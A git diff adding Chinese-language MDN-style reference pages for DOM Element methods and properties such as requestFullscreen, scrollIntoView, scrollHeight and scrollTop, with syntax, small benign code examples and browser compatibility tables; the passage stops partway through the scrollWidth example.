diff --git a/files/zh-cn/web/api/element/requestfullscreen/index.html b/files/zh-cn/web/api/element/requestfullscreen/index.html new file mode 100644 index 0000000000..045a760246 --- /dev/null +++ b/files/zh-cn/web/api/element/requestfullscreen/index.html @@ -0,0 +1,177 @@ +--- +title: Element.requestFullscreen() +slug: Web/API/Element/requestFullScreen +translation_of: Web/API/Element/requestFullScreen +--- +
{{APIRef("Fullscreen API")}}
+ +

Element.requestFullscreen() 方法用于发出异步请求使元素进入全屏模式。

+ +

调用此API并不能保证元素一定能够进入全屏模式。如果元素被允许进入全屏幕模式,返回的{{JSxRef("Promise")}}会resolve,并且该元素会收到一个{{event("fullscreenchange")}}事件,通知它已经进入全屏模式。如果全屏请求被拒绝,返回的promise会变成rejected并且该元素会收到一个{{Event('fullscreenerror')}}事件。如果该元素已经从原来的文档中分离,那么该文档将会收到这些事件。

+ +

早期的Fullscreen API实现总是会把这些事件发送给document,而不是调用的元素,所以你自己可能需要处理这样的情况。参考 {{SectionOnPage("/zh-CN/docs/Web/Events/fullscreen", "Browser compatibility")}} 来得知哪些浏览器做了这个改动。

+ +
+

注意:这个方法只能在用户交互或者设备方向改变的时候调用,否则将会失败。

+
+ +

语法

+ +
var Promise = Element.requestFullscreen(options);
+
+ +

参数

+ +

options {{optional_inline}}

+ +

一个{{domxref("FullscreenOptions")}}对象提供切换到全屏模式的控制选项。目前,唯一的选项是{{domxref("FullscreenOptions.navigationUI", "navigationUI")}},这控制了是否在元素处于全屏模式时显示导航条UI。默认值是"auto",表明这将由浏览器来决定是否显示导航条。

+ +

返回值

+ +

在完成切换全屏模式后,返回一个已经用值 undefined resolved的{{JSxRef("Promise")}}

+ +

异常

+ +

requestFullscreen() 通过拒绝返回的 Promise来生成错误条件,而不是抛出一个传统的异常。拒绝控制器接收以下的某一个值:

+ +
+
{{jsxref("TypeError")}}
+
在以下几种情况下,会抛出TypeError
+
+ + + +
+
+ +

示例

+ +

在调用requestFullScreen()之前,可以对{{event("fullscreenchange")}} 和 {{event("fullscreenerror")}}事件进行监听,这样在请求进入全屏模式成功或者失败时都能收到事件通知。

+ +

API规格

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fullscreen", "#dom-element-requestfullscreen", "Element.requestFullScreen()")}}{{Spec2("Fullscreen")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerEdgeOperaSafari
Basic support{{CompatVersionUnknown}}{{property_prefix("webkit")}}[1]{{CompatVersionUnknown}}{{CompatGeckoDesktop("9.0")}} as mozRequestFullScreen[2]
+ {{CompatGeckoDesktop("47.0")}} (behind full-screen-api.unprefix.enabled
11{{property_prefix("ms")}}[3]{{CompatVersionUnknown}}[3]{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("9.0")}} as mozRequestFullScreen[2]
+ {{CompatGeckoMobile("47.0")}} (behind full-screen-api.unprefix.enabled
{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 同样以webkitRequestFullScreen方法实现。

+ +

[2] 使用带有浏览器前缀的mozRequestFullScreen方法实现。在火狐44之前版本,Gecko浏览器内核错误地允许frame里面元素以及object元素进入全屏模式。而在之后的版本,这个漏洞被修复:仅允许位于顶部文档(top-level document)的元素,以及拥有{{htmlattrxref("allowfullscreen", "iframe")}}属性的iframe的内部元素进入全屏显示。. 

+ +

[3] 使用IE时,最后的screen的s为小写,也即msRequestFullscreen,否则无效

+ +

[4] 谷歌浏览器前缀webkitRequestFullScreen()里最后的Screen的S也可以为小写s,建议写成驼峰命名法

+ +

[5]将浏览器前缀兼容封装成函数

+ +
function toFullVideo(){
+
+  if(videoDom.requestFullscreen){
+
+    return videoDom.requestFullscreen();
+
+  }else if(videoDom.webkitRequestFullScreen){
+
+    return videoDom.webkitRequestFullScreen();
+
+  }else if(videoDom.mozRequestFullScreen){
+
+    return videoDom.mozRequestFullScreen();
+
+  }else{
+
+    return videoDom.msRequestFullscreen();
+
+  }
+
+}
+ +

[6] 详见 documentation on MSDN.

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/element/requestpointerlock/index.html b/files/zh-cn/web/api/element/requestpointerlock/index.html new file mode 100644 index 0000000000..c5b6c49d75 --- /dev/null +++ b/files/zh-cn/web/api/element/requestpointerlock/index.html @@ -0,0 +1,48 @@ +--- +title: Element.requestPointerLock() +slug: Web/API/Element/requestPointerLock +translation_of: Web/API/Element/requestPointerLock +--- +
{{ APIRef("DOM") }}{{ seeCompatTable }}
+ +

Element.requestPointerLock() 方法允许您异步地请求将鼠标指针锁定在指定元素上。

+ +

若想追踪请求成功还是失败,则需要在 {{domxref("Document")}} 级别监听 {{event("pointerlockchange")}} 和 {{event("pointerlockerror")}} 事件。

+ +

语法

+ +
instanceOfElement.requestPointerLock();
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Pointer Lock','#dom-element-requestpointerlock','requestPointerLock()')}}{{Spec2('Pointer Lock')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Element.requestPointerLock")}}

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/runtimestyle/index.html b/files/zh-cn/web/api/element/runtimestyle/index.html new file mode 100644 index 0000000000..c1537864af --- /dev/null +++ b/files/zh-cn/web/api/element/runtimestyle/index.html @@ -0,0 +1,76 @@ +--- +title: Element.runtimeStyle +slug: Web/API/Element/runtimeStyle +translation_of: Web/API/Element/runtimeStyle +--- +
{{APIRef("DOM")}}
+ +

{{ Non-standard_header() }}

+ +

概要

+ +

Element.runtimeStyle 是一个元素专有属性,和 {{domxref("HTMLElement.style")}} 相似,除了其中的样式属性外{{domxref("HTMLElement.style")}} 具有更高的优先级和修改能力。runtimeStyle 不能修改 style 中的content属性,其在旧版的IE浏览器上可用。

+ +

规范

+ +

不属于任何规范的一部分。

+ +

微软对此有一篇描述文档 has a description on MSDN.

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
基本支持{{ CompatNo() }}{{ CompatNo() }}6{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
基本支持{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/scroll/index.html b/files/zh-cn/web/api/element/scroll/index.html new file mode 100644 index 0000000000..69e3f5f738 --- /dev/null +++ b/files/zh-cn/web/api/element/scroll/index.html @@ -0,0 +1,68 @@ +--- +title: Element.scroll() +slug: Web/API/Element/scroll +translation_of: Web/API/Element/scroll +--- +
{{APIRef}}
+ +

 scroll() 方法是用于在给定的元素中滚动到某个特定坐标的 {{domxref("Element")}} 接口。

+ +

Syntax

+ +
element.scroll(x-coord, y-coord)
+element.scroll(options)
+
+ +

Parameters

+ + + +

- or -

+ + + +

例子

+ +
// 在元素上方显示1000像素
+element.scroll(0, 1000);
+
+ +

使用 options:

+ +
element.scroll({
+  top: 100,
+  left: 100,
+  behavior: 'smooth'
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{ SpecName('CSSOM View', '#dom-element-scroll-options-options', 'element.scroll()') }}{{ Spec2('CSSOM View') }} +

Initial definition.

+
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.scroll")}}

diff --git a/files/zh-cn/web/api/element/scrollby/index.html b/files/zh-cn/web/api/element/scrollby/index.html new file mode 100644 index 0000000000..1bad7f7a56 --- /dev/null +++ b/files/zh-cn/web/api/element/scrollby/index.html @@ -0,0 +1,72 @@ +--- +title: Element.scrollBy() +slug: Web/API/Element/scrollBy +tags: + - API + - Element + - Method + - Reference + - scrollBy +translation_of: Web/API/Element/scrollBy +--- +
{{ APIRef() }}
+ +

 scrollBy() 方法是使得元素滚动一段特定距离的 {{domxref("Element")}} 接口。

+ +

Syntax

+ +
element.scrollBy(x-coord, y-coord);
+element.scrollBy(options)
+
+ +

Parameters

+ + + +

- or -

+ + + +

例子

+ +
// 让元素滚动
+element.scrollBy(300, 300);
+
+ +

使用 options:

+ +
element.scrollBy({
+  top: 100,
+  left: 100,
+  behavior: 'smooth'
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{ SpecName('CSSOM View', '#dom-element-scrollby-options-options', 'element.scrollBy()') }}{{ Spec2('CSSOM View') }}Initial definition.
+ +

 浏览器兼容性

+ + + +

{{Compat("api.Element.scrollBy")}}

diff --git a/files/zh-cn/web/api/element/scrollheight/index.html b/files/zh-cn/web/api/element/scrollheight/index.html new file mode 100644 index 0000000000..da70cb9bea --- /dev/null +++ b/files/zh-cn/web/api/element/scrollheight/index.html @@ -0,0 +1,154 @@ +--- +title: Element.scrollHeight +slug: Web/API/Element/scrollHeight +tags: + - API +translation_of: Web/API/Element/scrollHeight +--- +

{{ APIRef("DOM") }}

+ +

Element.scrollHeight 这个只读属性是一个元素内容高度的度量,包括由于溢出导致的视图中不可见内容。

+ +

scrollHeight 的值等于该元素在不使用滚动条的情况下为了适应视口中所用内容所需的最小高度。 没有垂直滚动条的情况下,scrollHeight值与元素视图填充所有内容所需要的最小值{{domxref("Element.clientHeight", "clientHeight")}}相同。包括元素的padding,但不包括元素的border和margin。scrollHeight也包括 {{cssxref("::before")}} 和 {{cssxref("::after")}}这样的伪元素。

+ +
+

属性将会对值四舍五入取整。如果需要小数值,使用{{ domxref("Element.getBoundingClientRect()") }}.

+
+ +

语法

+ +
var intElemScrollHeight = document.getElementById(id_attribute_value).scrollHeight;
+
+ +

intElemScrollHeight 存储着与元素scrollHeight像素值对应的一个整数。scrollHeight是一个只读属性。

+ +

示例

+ +
+
+

padding-top

+ +

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

+ +

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

+ +

Cat image and text coming from www.best-cat-art.com

+ +

padding-bottom

+
+LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: _fckstyle="position: _fckstyle="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
+ +

Image:scrollHeight.png

+ +

问题与解决方案

+ +

判定元素是否滚动到底

+ +

如果元素滚动到底,下面等式返回true,没有则返回false.

+ +
element.scrollHeight - element.scrollTop === element.clientHeight
+
+ +

当容器不滚动但有溢出的子容器时,这些检查可以确定容器能否滚动:

+ +
window.getComputedStyle(element).overflowY === 'visible' window.getComputedStyle(element).overflowY !== 'hidden'
+
+ +

scrollHeight 演示

+ +

监听 onscroll 事件,这个等式可以用来判定用户是否阅读过文本。(参考 element.scrollTop 和 element.clientHeight属性)。例如: 

+ +

HTML

+ +
<form name="registration">
+  <p>
+    <textarea id="rules">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum at laoreet magna.
+Aliquam erat volutpat. Praesent molestie, dolor ut eleifend aliquam, mi ligula ultrices sapien, quis cursus
+neque dui nec risus. Duis tincidunt lobortis purus eu aliquet. Quisque in dignissim magna. Aenean ac lorem at
+velit ultrices consequat. Nulla luctus nisi ut libero cursus ultrices. Pellentesque nec dignissim enim. Phasellus
+ut quam lacus, sed ultricies diam. Vestibulum convallis rutrum dolor, sit amet egestas velit scelerisque id.
+Proin non dignissim nisl. Sed mi odio, ullamcorper eget mattis id, malesuada vitae libero. Integer dolor lorem,
+mattis sed dapibus a, faucibus id metus. Duis iaculis dictum pulvinar. In nisi nibh, dapibus ac blandit at, porta
+at arcu. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent
+dictum ipsum aliquet erat eleifend sit amet sollicitudin felis tempus. Aliquam congue cursus venenatis. Maecenas
+luctus pellentesque placerat. Mauris nisl odio, condimentum sed fringilla a, consectetur id ligula. Praesent sem
+sem, aliquet non faucibus vitae, iaculis nec elit. Nullam volutpat, lectus et blandit bibendum, nulla lorem congue
+turpis, ac pretium tortor sem ut nibh. Donec vel mi in ligula hendrerit sagittis. Donec faucibus viverra fermentum.
+Fusce in arcu arcu. Nullam at dignissim massa. Cras nibh est, pretium sit amet faucibus eget, sollicitudin in
+ligula. Vivamus vitae urna mauris, eget euismod nunc. Aenean semper gravida enim non feugiat. In hac habitasse
+platea dictumst. Cras eleifend nisl volutpat ante condimentum convallis. Donec varius dolor malesuada erat
+consequat congue. Donec eu lacus ut sapien venenatis tincidunt. Quisque sit amet tellus et enim bibendum varius et
+a orci. Donec aliquet volutpat scelerisque. Proin et tortor dolor. Ut aliquet, dolor a mattis sodales, odio diam
+pulvinar sem, egestas pretium magna eros vitae felis. Nam vitae magna lectus, et ornare elit. Morbi feugiat, ipsum
+ac mattis congue, quam neque mollis tortor, nec mollis nisl dolor a tortor. Maecenas varius est sit amet elit
+interdum quis placerat metus posuere. Duis malesuada justo a diam vestibulum vel aliquam nisi ornare. Integer
+laoreet nisi a odio ornare non congue turpis eleifend. Cum sociis natoque penatibus et magnis dis parturient montes,
+nascetur ridiculus mus. Cras vulputate libero sed arcu iaculis nec lobortis orci fermentum.
+    </textarea>
+  </p>
+  <p>
+    <input type="checkbox" name="accept" id="agree" />
+    <label for="agree">I agree</label>
+    <input type="submit" id="nextstep" value="Next" />
+  </p>
+</form>
+ +

CSS

+ +
#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}
+ +

JavaScript

+ +
function checkReading () {
+  if (checkReading.read) {
+    return;
+  }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ? "Thank you." : "Please, scroll and read the following text.";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}
+ +

{{ EmbedLiveSample('scrollHeight_Demo', '640', '400') }}

+ +

说明

+ +

scrollHeight MSIE's DHTML 对象模型的一部分. scrollHeight 是以下说明的一部分。: {{SpecName("CSSOM View")}}.

+ +

浏览器兼容性

+ +

{{Compat("api.Element.scrollHeight")}}

+ +

参考资料

+ + diff --git a/files/zh-cn/web/api/element/scrollintoview/index.html b/files/zh-cn/web/api/element/scrollintoview/index.html new file mode 100644 index 0000000000..3cba87dabf --- /dev/null +++ b/files/zh-cn/web/api/element/scrollintoview/index.html @@ -0,0 +1,78 @@ +--- +title: Element.scrollIntoView() +slug: Web/API/Element/scrollIntoView +translation_of: Web/API/Element/scrollIntoView +--- +
{{APIRef("DOM")}}
+ +
{{domxref("Element")}} 接口的scrollIntoView()方法会滚动元素的父容器,使被调用scrollIntoView()的元素对用户可见。
+ +

语法

+ +
element.scrollIntoView(); // 等同于element.scrollIntoView(true)
+element.scrollIntoView(alignToTop); // Boolean型参数
+element.scrollIntoView(scrollIntoViewOptions); // Object型参数
+ +

参数

+ +
+
alignToTop{{optional_inline}}
+
一个{{jsxref("Boolean")}}值: +
    +
  • 如果为true,元素的顶端将和其所在滚动区的可视区域的顶端对齐。相应的 scrollIntoViewOptions: {block: "start", inline: "nearest"}。这是这个参数的默认值。
  • +
  • 如果为false,元素的底端将和其所在滚动区的可视区域的底端对齐。相应的scrollIntoViewOptions: {block: "end", inline: "nearest"}
  • +
+
+
scrollIntoViewOptions {{optional_inline}} {{experimental_inline}}
+
一个包含下列属性的对象:
+
+
+
behavior {{optional_inline}}
+
定义动画过渡效果, "auto"或 "smooth" 之一。默认为 "auto"
+
block {{optional_inline}}
+
定义垂直方向的对齐, "start""center""end", 或 "nearest"之一。默认为 "start"
+
inline {{optional_inline}}
+
定义水平方向的对齐, "start""center""end", 或 "nearest"之一。默认为 "nearest"
+
+
+
+ +

示例

+ +
var element = document.getElementById("box");
+
+element.scrollIntoView();
+element.scrollIntoView(false);
+element.scrollIntoView({block: "end"});
+element.scrollIntoView({behavior: "smooth", block: "end", inline: "nearest"});
+ +

注意

+ +

取决于其它元素的布局情况,此元素可能不会完全滚动到顶端或底端。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-element-scrollintoview", "Element.scrollIntoView()")}}{{Spec2("CSSOM View")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Element.scrollIntoView")}}

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/element/scrollintoviewifneeded/index.html b/files/zh-cn/web/api/element/scrollintoviewifneeded/index.html new file mode 100644 index 0000000000..dd419a7d6d --- /dev/null +++ b/files/zh-cn/web/api/element/scrollintoviewifneeded/index.html @@ -0,0 +1,56 @@ +--- +title: Element.scrollIntoViewIfNeeded() +slug: Web/API/Element/scrollIntoViewIfNeeded +tags: + - API + - DOM + - 可视区域 + - 方法 + - 滚动 + - 非标准 +translation_of: Web/API/Element/scrollIntoViewIfNeeded +--- +
{{APIRef("DOM")}}{{Non-standard_header}}
+ +

Element.scrollIntoViewIfNeeded()方法用来将不在浏览器窗口的可见区域内的元素滚动到浏览器窗口的可见区域。 如果该元素已经在浏览器窗口的可见区域内,则不会发生滚动。 此方法是标准的Element.scrollIntoView()方法的专有变体。

+ +

语法

+ +
element.scrollIntoViewIfNeeded(); // 等同于element.scrollIntoViewIfNeeded(true)
+element.scrollIntoViewIfNeeded(true);
+element.scrollIntoViewIfNeeded(false); 
+ +

参数

+ +
+
opt_center
+
一个 {{jsxref("Boolean")}} 类型的值,默认为true: +
    +
  • 如果为true,则元素将在其所在滚动区的可视区域中居中对齐。
  • +
  • 如果为false,则元素将与其所在滚动区的可视区域最近的边缘对齐。 根据可见区域最靠近元素的哪个边缘,元素的顶部将与可见区域的顶部边缘对准,或者元素的底部边缘将与可见区域的底部边缘对准。
  • +
+
+
+ +

示例

+ +
var element = document.getElementById("child");
+
+element.scrollIntoViewIfNeeded();
+element.scrollIntoViewIfNeeded(true);
+element.scrollIntoViewIfNeeded(false);
+
+ +

规范

+ +

不属于任何规范,是一种WebKit专有的方法。

+ +

浏览器支持

+ +

{{Compat("api.Element.scrollIntoViewIfNeeded")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/scrollleft/index.html b/files/zh-cn/web/api/element/scrollleft/index.html new file mode 100644 index 0000000000..98fd329358 --- /dev/null +++ b/files/zh-cn/web/api/element/scrollleft/index.html @@ -0,0 +1,102 @@ +--- +title: Element.scrollLeft +slug: Web/API/Element/scrollLeft +tags: + - API + - scrollLeft +translation_of: Web/API/Element/scrollLeft +--- +

{{ APIRef("DOM") }}

+ +

Element.scrollLeft 属性可以读取或设置元素滚动条到元素左边的距离。

+ +

注意如果这个元素的内容排列方向({{cssxref("direction")}}) 是rtl (right-to-left) ,那么滚动条会位于最右侧(内容开始处),并且scrollLeft值为0。此时,当你从右到左拖动滚动条时,scrollLeft会从0变为负数。

+ +
+

在使用显示比例缩放的系统上,scrollLeft 可能会是一个小数。

+
+ +

语法

+ +
//获取滚动条到元素左边的距离
+var sLeft = element.scrollLeft;
+
+ +

sLeft是一个整数,代表元素滚动条距离元素左边多少像素。

+ +
//设置滚动条滚动了多少像素
+element.scrollLeft = 10;
+
+ +

scrollLeft 可以是任意整数,然而:

+ + + +

示例

+ +

HTML

+ +
<div id="container">
+  <div id="content">Click the button to slide right!</div>
+</div>
+
+<button id="slide" type="button">Slide right</button>
+ +

CSS

+ +
#container {
+  width: 100px;
+  height: 100px;
+  border: 1px solid #ccc;
+  overflow-x: scroll;
+}
+
+#content {
+  width: 250px;
+  background-color: #ccc;
+}
+ +

JavaScript

+ +
const button = document.getElementById('slide');
+
+button.onclick = function () {
+  document.getElementById('container').scrollLeft += 20;
+};
+ +

结构

+ +

{{EmbedLiveSample("示例")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-element-scrollleft', 'scrollLeft')}}{{Spec2("CSSOM View")}}
+ +

浏览器兼容

+ +

{{Compat("api.Element.scrollLeft")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/scrollleftmax/index.html b/files/zh-cn/web/api/element/scrollleftmax/index.html new file mode 100644 index 0000000000..89a30f783d --- /dev/null +++ b/files/zh-cn/web/api/element/scrollleftmax/index.html @@ -0,0 +1,72 @@ +--- +title: Element.scrollLeftMax +slug: Web/API/Element/scrollLeftMax +translation_of: Web/API/Element/scrollLeftMax +--- +

{{APIRef("DOM")}}{{Non-standard_header}}

+ +

这个 Element.scrollLeftMax  是只读的属性返回一个 {{jsxref("Number")}} 表示一个元素横向滚动条可滚动的最大距离。

+ +

语法

+ +
var pxl = elt.scrollLeftMax;
+ +

规范

+ +

这个属性还没纳入规范.

+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatGeckoDesktop(16) }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile(16) }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

更多

+ + diff --git a/files/zh-cn/web/api/element/scrollto/index.html b/files/zh-cn/web/api/element/scrollto/index.html new file mode 100644 index 0000000000..19f369bd0b --- /dev/null +++ b/files/zh-cn/web/api/element/scrollto/index.html @@ -0,0 +1,77 @@ +--- +title: Element.scrollTo() +slug: Web/API/Element/scrollTo +tags: + - API + - Element + - Method + - Reference + - scrollTo +translation_of: Web/API/Element/scrollTo +--- +
{{ APIRef }}
+{{domxref("Element")}} 的scrollTo() 方法可以使界面滚动到给定元素的指定坐标位置。
+ +

语法

+ +
element.scrollTo(x-coord, y-coord)
+element.scrollTo(options)
+
+ +

参数

+ + + +

- or -

+ + + +

例子

+ +
element.scrollTo(0, 1000);
+
+ +

使用 options:

+ +
element.scrollTo({
+  top: 100,
+  left: 100,
+  behavior: 'smooth'
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-element-scrollto-options-options', 'element.scrollTo()') }}{{ Spec2('CSSOM View') }}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.scrollTo")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/element/scrolltop/index.html b/files/zh-cn/web/api/element/scrolltop/index.html new file mode 100644 index 0000000000..9a4bfbd1ca --- /dev/null +++ b/files/zh-cn/web/api/element/scrolltop/index.html @@ -0,0 +1,82 @@ +--- +title: Element.scrollTop +slug: Web/API/Element/scrollTop +tags: + - API + - Property + - Scroll + - scrollTop +translation_of: Web/API/Element/scrollTop +--- +

{{ APIRef("DOM") }}

+ +

Element.scrollTop 属性可以获取或设置一个元素的内容垂直滚动的像素数。

+ +

一个元素的 scrollTop 值是这个元素的内容顶部(卷起来的)到它的视口可见内容(的顶部)的距离的度量。当一个元素的内容没有产生垂直方向的滚动条,那么它的 scrollTop 值为0

+ +
+

在使用显示比例缩放的系统上,scrollTop可能会提供一个小数。

+
+ +

语法

+ +
// 获得滚动的像素数
+var  intElemScrollTop = someElement.scrollTop;
+
+ +

运行此代码后, intElemScrollTop 是一个整数,即{{domxref("element")}}的内容向上滚动的像素数。

+ +
// 设置滚动的距离
+element.scrollTop = intValue;
+
+ +

scrollTop 可以被设置为任何整数值,同时注意:

+ + + +

例子

+ +
+
+

padding-top

+ +

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.

+ +

Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

+ +

padding-bottom

+
+Left Top Right Bottom margin-top margin-bottom border-top border-bottom
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-element-scrolltop', 'scrollTop')}}{{Spec2("CSSOM View")}}
+ +

浏览器兼容

+ +

{{Compat("api.Element.scrollTop")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/element/scrolltopmax/index.html b/files/zh-cn/web/api/element/scrolltopmax/index.html new file mode 100644 index 0000000000..a9b4cbe64d --- /dev/null +++ b/files/zh-cn/web/api/element/scrolltopmax/index.html @@ -0,0 +1,72 @@ +--- +title: Element.scrollTopMax +slug: Web/API/Element/scrollTopMax +translation_of: Web/API/Element/scrollTopMax +--- +

{{APIRef("DOM")}}{{Non-standard_header}}

+ +

Element.scrollTopMax 返回一个只读Number表示元素所能滚动的最大高度

+ +

语法

+ +
var pxl = elt.scrollTopMax;
+ +

规范

+ +

此属性不在当前规范中

+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatGeckoDesktop(16) }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile(16) }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/scrollwidth/index.html b/files/zh-cn/web/api/element/scrollwidth/index.html new file mode 100644 index 0000000000..fd712b9204 --- /dev/null +++ b/files/zh-cn/web/api/element/scrollwidth/index.html @@ -0,0 +1,106 @@ +--- +title: Element.scrollWidth +slug: Web/API/element/scrollWidth +tags: + - 元素属性 +translation_of: Web/API/Element/scrollWidth +--- +
{{ APIRef("DOM") }}
+ +
Element.scrollWidth 这个只读属性是元素内容宽度的一种度量,包括由于overflow溢出而在屏幕上不可见的内容。
+ +
+ +

scrollWidth值等于元素在不使用水平滚动条的情况下适合视口中的所有内容所需的最小宽度。 宽度的测量方式与{{domxref("Element.clientWidth", "clientWidth")}}相同:它包含元素的内边距,但不包括边框,外边距或垂直滚动条(如果存在)。 它还可以包括伪元素的宽度,例如{{cssxref("::before")}}或{{cssxref("::after")}}。 如果元素的内容可以适合而不需要水平滚动条,则其scrollWidth等于{{domxref("Element.clientWidth", "clientWidth")}}

+ +
+

1. 这个属性会进行四舍五入并返回整数,如果你需要小数形式的值,使用{{ domxref("element.getBoundingClientRect()") }}.

+ +

2. 在实际测试过程中,谷歌获取的 Element.scrollWidth 和 IE,火狐下获取的 Element.scrollWidth 并不相同

+
+ +

语法

+ +
var xScrollWidth = element.scrollWidth;
+
+ +

xScrollWidth 的值是元素的内容宽度。

+ +

例子

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <title>Example</title>
+    <style>
+        div {
+            overflow: hidden;
+            white-space: nowrap;
+            text-overflow: ellipsis;
+        }
+
+        #aDiv {
+            width: 100px;
+        }
+
+        button {
+            margin-bottom: 2em;
+        }
+    </style>
+</head>
+
+<body>
+    <div id="aDiv">
+        FooBar-FooBar-FooBar-FooBar
+    </div>
+    <button id="aButton">
+        Check for overflow
+    </button>
+
+    <div id="anotherDiv">
+        FooBar-FooBar-FooBar-FooBar
+    </div>
+    <button id="anotherButton">
+        Check for overflow
+    </button>
+</body>
+<script>
+    var buttonOne = document.getElementById('aButton'),
+    buttonTwo = document.getElementById('anotherButton'),
+    divOne = document.getElementById('aDiv'),
+    divTwo = document.getElementById('anotherDiv');
+
+    //check to determine if an overflow is happening
+    function isOverflowing(element) {
+        return (element.scrollWidth > element.offsetWidth);
+    }
+
+    function alertOverflow(element) {
